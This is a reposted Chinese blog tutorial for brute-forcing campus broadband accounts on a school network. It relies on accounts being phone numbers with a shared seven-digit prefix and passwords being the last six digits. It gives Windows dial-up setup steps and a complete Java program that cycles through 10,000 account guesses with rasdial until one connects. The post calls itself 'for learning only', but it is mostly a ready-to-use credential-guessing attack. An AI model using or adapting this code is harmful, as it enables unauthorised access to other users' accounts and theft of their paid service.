前提：学校的手机号前7位相同，宽带密码都是手机号后六位。仅供学习。
准备工作：电脑一台，把校园网的宽带水晶头插在电脑上，
步骤：
- win+R输入Rasphone
- 点击新建，宽带，输入宽带名称（要记住这个名字，最好是英文字母的组合，账号与密码不用填），创建。
- 执行下面的代码，把下面的手机号段前七位改为你要爆破的，youName改成你创建的宽带连接。
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import java.io.BufferedReader;
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import java.io.IOException;
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import java.io.InputStream;
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import java.io.InputStreamReader;
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//暴力破解宽带
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public class Main {
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static String phoneFirst = "1322395"; //手机号的前七位
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static String yourName = "xin"; //你起的宽带连接名
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/**
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* 执行CMD命令,并返回String字符串
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*/
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public static String executeCmd (String strCmd) throws Exception {
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Process p = Runtime.getRuntime().exec( "cmd /c " + strCmd);
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StringBuilder sbCmd = new StringBuilder();
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BufferedReader br = new BufferedReader( new InputStreamReader(p.getInputStream(), "GBK"));
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String line;
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while ((line = br.readLine()) != null) {
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sbCmd.append(line + "\n");
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}
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return sbCmd.toString();
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}
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/**
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* ADSL连接宽带
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*/
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public static boolean connAdsl (String adslTitle, String adslName, String adslPass) throws Exception {
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System.out.println( "正在建立连接.");
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String adslCmd = "rasdial " + adslTitle + " " + adslName + " " + adslPass;
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String tempCmd = executeCmd(adslCmd);
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// 判断是否连接成功
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if (tempCmd.indexOf( "已连接") > 0) {
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System.out.println( "已成功建立连接.");
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return true;
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} else {
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System.err.println(tempCmd);
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System.err.println( "建立连接失败");
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return false;
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}
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}
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/**
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* 断开ADSL
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*/
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public static boolean cutAdsl (String adslTitle) throws Exception {
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String cutAdsl = "rasdial " + adslTitle + " /disconnect";
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String result = executeCmd(cutAdsl);
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if (result.indexOf( "没有连接") != - 1) {
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System.err.println(adslTitle + "连接不存在!");
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return false;
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} else {
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System.out.println( "连接已断开");
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return true;
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}
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}
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/**
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* 测试网络是否连接
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*/
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public static boolean isConnect () {
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boolean connect = false;
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Runtime runtime = Runtime.getRuntime();
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Process process;
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try {
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process = runtime.exec( "ping " + "www.baidu.com");
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InputStream is = process.getInputStream();
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InputStreamReader isr = new InputStreamReader(is);
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BufferedReader br = new BufferedReader(isr);
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String line = null;
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StringBuffer sb = new StringBuffer();
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while ((line = br.readLine()) != null) {
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sb.append(line);
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}
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System.out.println( "返回值为:" + sb);
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is.close();
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isr.close();
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br.close();
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if ( null != sb && !sb.toString().equals( "")) {
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if (sb.toString().indexOf( "TTL") > 0) {
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// 网络畅通
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connect = true;
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} else {
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// 网络不畅通
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connect = false;
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}
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}
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} catch (IOException e) {
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e.printStackTrace();
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}
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return connect;
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}
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//测试代码
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public static void main (String[] args) throws InterruptedException,
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Exception {
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for ( int i = 0; i <= 9999; i++) {
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boolean connect = isConnect();
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String str = String.format( "%04d", i); //获得长度为4的数字
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String username = phoneFirst + str; //宽带账号
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System.out.println( "宽带账户:" + username);
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String password = username.substring( 5);
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if (i % 3 == 0) {
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Thread.sleep( 200); //防止拨号过于频繁
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}
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if (!connect) { //没有拨号成功，则取消上次拨号
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executeCmd( "Rasdial " + yourName + " /DISCONNECT");
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System.out.println( "无网络,正在重新拨号");
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connAdsl(yourName, username, password); //重新拨号
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} else {
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System.out.println( "网络正常"); //破解成功，后面的break会暂停。
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break;
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}
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}
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}
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}
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如果执行中途退出了，再次执行的时候一定要把你创建的宽带连接删除掉，从第一步开始重新来！
转载：https://blog.csdn.net/LYXlyxll/article/details/127624634
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